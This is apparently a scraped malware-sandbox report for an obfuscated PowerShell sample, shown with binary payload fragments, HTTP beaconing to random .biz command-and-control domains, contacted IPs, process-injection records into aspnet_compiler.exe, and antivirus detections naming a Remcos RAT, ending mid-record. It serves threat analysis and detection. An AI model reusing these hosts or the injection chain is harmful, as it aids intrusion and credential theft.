èvó^\^8ªÔMÿÅ:Þ{Ô²ÆÊàM®ø;w¦¥Û9wìÀUE0¤¯vMÐÀ[)ºGe¦¼pMd?ª°8¥²)ô¸Ä#,*ís%*Eex¨íñi@ªNÌ>[7LÃîqí ÅüÚùÀ?ÇâhUéâÇ('¨2ý.¶÷¸þ»sPN¨®&G°ïº\b¦×sgÙj ;vÜw¤BZµcsfn2ª+r½Zé|;þÑï6q|¾ÒÞç©VnI-ýlJ0gg°âh}_®-9iþCT.Ò.Çw¦þþÜH&;-(£SÇ¦Ô{Lãan]âð»i´@Só9¡BgìNc_pËzúRCÂ1ðr½Á2Xn0åá 4ºëuÛI} `êÐsU¼ºþ"2VMTñ®mi}ßìzà>Êc³TòûAåAv,K¢5æªL)&YE" HTTP/1.1 200 OK Server: nginx Date: Wed, 30 Sep 2026 16:36:38 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body, "POST /qmapg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ifsaia.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 858" with payload::==> ")¿Ñ/º÷N Ý7)3Ö¬ý;¢vfV~zK`þÛIõ|5f2»Ep1ËãØ*5Ahü×¸V(}ð4r¦%>µ!PXT?ýáó<ï6úë?õP£ëÎR÷´"ÓÁê?bÄMuÜÁÌwÃ©Ôÿ7ýÈ/Á2¡U;g ª:nôÊö_(Iú¨P!@T¼|(+ýÃ©Ø~µ²úéû¦Ö{S~ìÍµéRïi[ÃsÔU«zÚ3ÉðÇÐ>6/5P¬ôÑß.ï½0÷!P$÷[:"PóRMÑÿ-gÃ[µd{ÞÕÛ5G8,óPêÕÕ¿è0ý 'Ù5ó(ns¶°Üï|K»GU{"o"9ÀØëþÄOö¿èaWyHðïÏz¦pCÏî¾Çÿý\ådÒñÎt@Ñ:¡SK*ÔÉ%ÚSñØ;m¨íBi±LÍÈ§sÓl÷õºªSuÝÛgÛWo£SÎ)ëw2Nk3¿R®Íû~ùÒT627«Øc|ð%£^ÞVLÚ^ÔËR¡JKTè®LR¦`~ä(Ý8+·2÷?Ô5cÝ-2Ìê=ãTNhKØüÞTÍpaoúý£«P+g¼TnÈ+ÿ2üaç°QÇùÆ¥"eÖ=Y·vöÈ¡¡´Ê²¯âW1Î÷è×,'V ã8Ì;ý¬K8,§´3@?Éð6#?(zü5*ðw,ª£ÖÐ{lÙ-½DXÌ:Ê)7ó GM®Â{cÔ¾©xBÀ¿l*Õ]¤´¦8s*ÅÂdkÔ¥íRX¯Ç°(*b·["'PÆ{¸¤Áu74BÆï(J[KyYÍtLddâÿ£ÁµgÔU¯ÀêI£k>¼Ù×áÔ\6â¾4¢VdrÂÍ]å;RÕêGvhK&" HTTP/1.1 200 OK Server: nginx Date: Wed, 30 Sep 2026 16:36:38 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body, "POST /igsydeb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 860" with payload::==> "`¶YígKØóPû`]4Oõ§ù@n+®/]¬¡OÍ7x¦j¦He»'×xû;_}ìÇNI~`QÝ±é¾ãÔO1;V9÷PLiüb¸Çq³E0h|+\Q.ÐòdT/¯s7Ö¦¾V*B;¹)Ò¤ÎÂ± ^GÞð_ý!î!¼¶Ú`öäÊ$·2¦Î.8¢àß¾$§wBî ÖýØ´ÊmÂ|¹§j*ÐmâÔÖë@ÉËÑUÓU·nC[C\Ôv°qçUhIQFV»òÂ£Ô£ÄDAhÝS©tíký]#]7üÍâtjpäcÔ~âOßÄ¥íÍ1ÓÈ&êîtúdãcø'@3¤äeª+z_ëÝ|è.Ä¶ëN©ñ²Æ¯[²áN_ã×z±Ç2ã\@$§TÒ1ìÙ6bpIµú¾b"òk0Qú{Ìô/µiH³ç4¤>2Nó# mÄW¨¡¬à¡X©3]:P{G}m=)2'óËbqN®rJ¦¢ëªäÕWË&ë§BösWn·ÅÚ©%Ê÷®7²h$Ü©Nåpyë)1Éú<$Nl2#(yQ8« xz[½J¦¬I«Ý34:74èÇfhÅçºªýdÙâa4 ÍÅ£tÊ&B¸úô\5jÕç©##,#·bò±¹ÇÄw²ò*°-hg/í¸¥ÜÎÂJÔ¤,u65HÊ;x?åßè ½eDÇ "ô¬÷ûëçNeVh{¤Ìkõ¡sî©s©&?ë]æøì¸è¸+g/þt æÅ¬PWPRÂ¢¶©¤Ó6Y=ßi.Îñ }Eo¢lâ²ê¬ªHï¢+å²0b*¤ª²ú9¿y5½"§*M¦Kêx¡8u(^=pùøàäÙI·¾ÜÝeèüÉqå r~ú«âNCtVïÆ½kç¥$ Pµ%^çÿZöj3´/l½£dt*ë¶ä[6têSºÍµÈ½µ*Ä¢YÅÀÊ40¿oKðæy'1ø7¹À.ñòW¥\]s_[d'W3&U:Éã!£-4¬gPÚeó®ÜàlÔ_$Âñ vI"ëùoj8¹w¡aÿö§oMµveó<µm]fp[Ý!Rmp0Óú¹S}z7*næ;L|içÀ~k¬Ý$À[PlÀDãµôobÕ=Ë:ÄKÇ\éÉ²ú¤×^ëãorÓ¤uP´öwqFïÄsØºjçYrQweÕ6¡ ß¹¤°"ÏþI8¹uâ-+©=ì)ÛÒOÃóE³2ìj×î{®ð/jSîæ:iJÛR¢ûï}@ûS9hIÑEøînãÃB¦&«ÒÏõ'$¹¹ÎF$\0É+S¬ç9¼=!L¬ââÓqÄó:3ýJ¬wAò¸smý w½TµÌ°× bí#÷û|±~e»ûã¼RºÙ|#ÃØ 1Fw=¦1ËB¬2÷75'?MçO-8B;ïÅø~ [Sxê7ÞÄÆ~S©¡p/k)4·IH½Çt¹'VÆ©_ôèÑqêtd&¸ºùVÍ"ô©ÌÒÔiÔe7Á|r¡tgJ/E pßÂú÷ÐKÀn¡ø+¸¥ð9×yRò>ÛÈµ$¦V~´GÄ¶ðp÷ººéçÆZ½DéjalÿØÃÖç3%EYtTâosøÆäèËl/ å7r{Ç¹r¢±Ä&ö#R" HTTP/1.1 200 OK Server: nginx Date: Wed 30 Sep 2026 16:36:38 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: close with no response body4b:T5f3,TCP traffic to 44.244.22.128 on port 80 is sent without HTTP header TCP traffic to 34.41.139.193 on port 80 is sent without HTTP header TCP traffic to 3.229.117.57 on port 80 is sent without HTTP header TCP traffic to 172.234.24.173 on port 80 is sent without HTTP header TCP traffic to 34.170.92.185 on port 80 is sent without HTTP header TCP traffic to 50.16.27.236 on port 80 is sent without HTTP header TCP traffic to 192.64.119.165 on port 80 is sent without HTTP header TCP traffic to 104.219.250.36 on port 80 is sent without HTTP header TCP traffic to 104.219.250.36 on port 443 is sent without HTTP header TCP traffic to 176.100.243.135 on port 80 is sent without HTTP header TCP traffic to 52.16.171.153 on port 80 is sent without HTTP header TCP traffic to 3.238.30.69 on port 80 is sent without HTTP header TCP traffic to 172.234.24.152 on port 80 is sent without HTTP header TCP traffic to 3.250.92.156 on port 80 is sent without HTTP header TCP traffic to 34.229.166.50 on port 80 is sent without HTTP header TCP traffic to 3.222.192.211 on port 80 is sent without HTTP header TCP traffic to 52.43.119.120 on port 80 is sent without HTTP header TCP traffic to 165.160.15.20 on port 80 is sent without HTTP header TCP traffic to 193.166.255.171 on port 80 is sent without HTTP header TCP traffic to 34.209.195.255 on port 80 is sent without HTTP header TCP traffic to 52.212.150.54 on port 80 is sent without HTTP header TCP traffic to 85.214.228.140 on port 80 is sent without HTTP header4c:T5c4,"powershell.exe" wrote 00000400 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2540) "powershell.exe" wrote 00015200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2540) "powershell.exe" wrote 00005000 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2540) "powershell.exe" wrote 0000A800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2540) "powershell.exe" wrote 00001200 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2540) "powershell.exe" wrote 0016E000 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2540) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" (Handle: 2540) "SearchIndexer.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\SearchProtocolHost.exe" (Handle: 2708) "SearchIndexer.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\SearchProtocolHost.exe" (Handle: 2708) "SearchIndexer.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\SearchFilterHost.exe" (Handle: 2660) "SearchIndexer.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\SearchFilterHost.exe" (Handle: 2660)4d:T4a6,Contacted Domain: "pywolwnvd.biz" has been identified as malicious Contacted Domain: "ssbzmoy.biz" has been identified as malicious Contacted Domain: "saytjshyf.biz" has been identified as malicious Contacted Domain: "zlenh.biz" has been identified as malicious Contacted Domain: "wllvnzb.biz" has been identified as malicious Contacted Domain: "anpmnmxo.biz" has been identified as malicious Contacted Domain: "vjaxhpbji.biz" has been identified as malicious Contacted Domain: "ytctnunms.biz" has been identified as malicious Contacted Domain: "typgfhb.biz" has been identified as malicious Contacted Domain: "przvgke.biz" has been identified as malicious Contacted Domain: "tbjrpv.biz" has been identified as malicious Contacted Domain: "yauexmxk.biz" has been identified as malicious Contacted Domain: "gytujflc.biz" has been identified as malicious Contacted Domain: "nqwjmb.biz" has been identified as malicious Contacted Domain: "yunalwv.biz" has been identified as malicious Contacted Domain: "yhqqc.biz" has been identified as malicious Contacted Domain: "brsua.biz" has been identified as malicious Contacted Domain: "dlynankz.biz" has been identified as malicious4e:T4f3,"acwjcqqv.biz" with TTL 120 "anpmnmxo.biz" with TTL 29 "brsua.biz" with TTL 211 "bumxkqgxu.biz" with TTL 94 "cvgrf.biz" with TTL 212 "deoci.biz" with TTL 146 "dlynankz.biz" with TTL 472 "esuzf.biz" with TTL 154 "ftxlah.biz" with TTL 273 "gcedd.biz" with TTL 292 "gnqgo.biz" with TTL 27 "gvijgjwkh.biz" with TTL 33 "gytujflc.biz" with TTL 163 "ifsaia.biz" with TTL 157 "iuzpxe.biz" with TTL 41 "jdhhbs.biz" with TTL 174 "jhvzpcfg.biz" with TTL 37 "jpskm.biz" with TTL 57 "knjghuig.biz" with TTL 145 "lejtdj.biz" with TTL 401 "lrxdmhrr.biz" with TTL 174 "mgmsclkyu.biz" with TTL 20 "mnjmhp.biz" with TTL 104 "npukfztj.biz" with TTL 257 "nqwjmb.biz" with TTL 37 "oflybfv.biz" with TTL 30 "oshhkdluh.biz" with TTL 280 "przvgke.biz" with TTL 325 "pywolwnvd.biz" with TTL 278 "qaynky.biz" with TTL 32 "qpnczch.biz" with TTL 74 "saytjshyf.biz" with TTL 59 "sxmiywsfv.biz" with TTL 281 "tbjrpv.biz" with TTL 136 "typgfhb.biz" with TTL 238 "vcddkls.biz" with TTL 29 "vrrazpdh.biz" with TTL 225 "vyome.biz" with TTL 196 "warkcdu.biz" with TTL 222 "wllvnzb.biz" with TTL 245 "xlfhhhm.biz" with TTL 132 "yauexmxk.biz" with TTL 272 "yhqqc.biz" with TTL 29 "ytctnunms.biz" with TTL 171 "yunalwv.biz" with TTL 235 "zlenh.biz" with TTL 284f:T411,Spawned process "powershell.exe" with commandline "-f "C:\\crypted.ps1"" (UID: 00000000-00007328) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007148) Spawned process "aspnet_compiler.exe" (UID: 00000000-00008040) Spawned process "aspnet_compiler.exe" (UID: 00000000-00004404) Spawned process "aspnet_compiler.exe" (UID: 00000000-00003604) Spawned process "aspnet_compiler.exe" (UID: 00000000-00004392) Spawned process "aspnet_compiler.exe" (UID: 00000000-00007596) Spawned process "SearchIndexer.exe" with commandline "/Embedding" (UID: 00000000-00001828) Spawned process "SearchProtocolHost.exe" with commandline "Global\\UsGthrFltPipeMssGthrPipe1_ Global\\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\\Microsoft\\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "%ALLUSERSPROFILE%\\Microsoft\\Search\\Data\\Temp\\usgthrsvc" "DownLevelDaemon"" (UID: 00000000-00004236) Spawned process "SearchFilterHost.exe" with commandline "0 736 740 748 8192 744" (UID: 00000000-00007548)50:T7f4,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51:T7f4,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1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790786606073,"unified_at":"2026-09-30T16:43:26.073Z","metadata":{"hashes":{"sha256":"3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","sha1":"e0fec6dbfa82e3624f69692aa4e3b9f98780ab9a","md5":"ac4853679479143ee43a4d9a295c70f4","sha512":"4af295b12c46abe049fee8a32a72bc85b98c97dbc8fe46696df7f4bc5fe987e9362c680366d51b5cf0493b10b9448c2bca94a3877a5cd39895ced1defc5b2109","ssdeep":"24576:EH7OabTVF1FGpJRq6GrgLcwha7N6Rquxwl+9/s/9RHNTfp2gabVB50rdkVw2VliE:t","ssdeep_chunks":["24576:EH7OabT","24576:H7OabTV","24576:7OabTVF","24576:OabTVF1","24576:abTVF1F","24576:bTVF1FG","24576:TVF1FGp","24576:VF1FGpJ","24576:F1FGpJR","24576:1FGpJRq","24576:FGpJRq6","24576:GpJRq6G","24576:pJRq6Gr","24576:JRq6Grg","24576:Rq6GrgL","24576:q6GrgLc","24576:6GrgLcw","24576:GrgLcwh","24576:rgLcwha","24576:gLcwha7","24576:Lcwha7N","24576:cwha7N6","24576:wha7N6R","24576:ha7N6Rq","24576:a7N6Rqu","24576:7N6Rqux","24576:N6Rquxw","24576:6Rquxwl","24576:Rquxwl+","24576:quxwl+9","24576:uxwl+9/","24576:xwl+9/s","24576:wl+9/s/","24576:l+9/s/9","24576:+9/s/9R","24576:9/s/9RH","24576:/s/9RHN","24576:s/9RHNT","24576:/9RHNTf","24576:9RHNTfp","24576:RHNTfp2","24576:HNTfp2g","24576:NTfp2ga","24576:Tfp2gab","24576:fp2gabV","24576:p2gabVB","24576:2gabVB5","24576:gabVB50","24576:abVB50r","24576:bVB50rd","24576:VB50rdk","24576:B50rdkV","24576:50rdkVw","24576:0rdkVw2","24576:rdkVw2V","24576:dkVw2Vl","24576:kVw2Vli","24576:Vw2VliE","49152:EH7OabT","49152:H7OabTV","49152:7OabTVF","49152:OabTVF1","49152:abTVF1F","49152:bTVF1FG","49152:TVF1FGp","49152:VF1FGpJ","49152:F1FGpJR","49152:1FGpJRq","49152:FGpJRq6","49152:GpJRq6G","49152:pJRq6Gr","49152:JRq6Grg","49152:Rq6GrgL","49152:q6GrgLc","49152:6GrgLcw","49152:GrgLcwh","49152:rgLcwha","49152:gLcwha7","49152:Lcwha7N","49152:cwha7N6","49152:wha7N6R","49152:ha7N6Rq","49152:a7N6Rqu","49152:7N6Rqux","49152:N6Rquxw","49152:6Rquxwl","49152:Rquxwl+","49152:quxwl+9","49152:uxwl+9/","49152:xwl+9/s","49152:wl+9/s/","49152:l+9/s/9","49152:+9/s/9R","49152:9/s/9RH","49152:/s/9RHN","49152:s/9RHNT","49152:/9RHNTf","49152:9RHNTfp","49152:RHNTfp2","49152:HNTfp2g","49152:NTfp2ga","49152:Tfp2gab","49152:fp2gabV","49152:p2gabVB","49152:2gabVB5","49152:gabVB50","49152:abVB50r","49152:bVB50rd","49152:VB50rdk","49152:B50rdkV","49152:50rdkVw","49152:0rdkVw2","49152:rdkVw2V","49152:dkVw2Vl","49152:kVw2Vli","49152:Vw2VliE"],"imphash":"Unknown"},"file_info":{"file_name":"3178411da3808707a3b51cfbfe9e7de63f660ca231bfec8a54614627baee5bf7","file_type":["powershell","ps"],"file_type_id":"ps1","file_size":9167999,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1790098361000,"last_seen":1790786140000,"last_multi_scan":1790786140000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","modular","targetedcrimeware","rat","cobaltstrike","fileinfector","m0yv","credentialharvesting","targeted","sourcecodeleaked","criminal","warzone","sinkhole","malicious"]},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":63},"sandbox_signatures":{"informative_count":129,"suspicious_count":12,"malicious_count":6,"total":147},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/PS.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/PowerShell.RemcosRAT","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81556040","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.81556040 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"PowerShell/Agent.FHC trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Trojan/PS.Agent.ci","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/PsAgent-CV","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"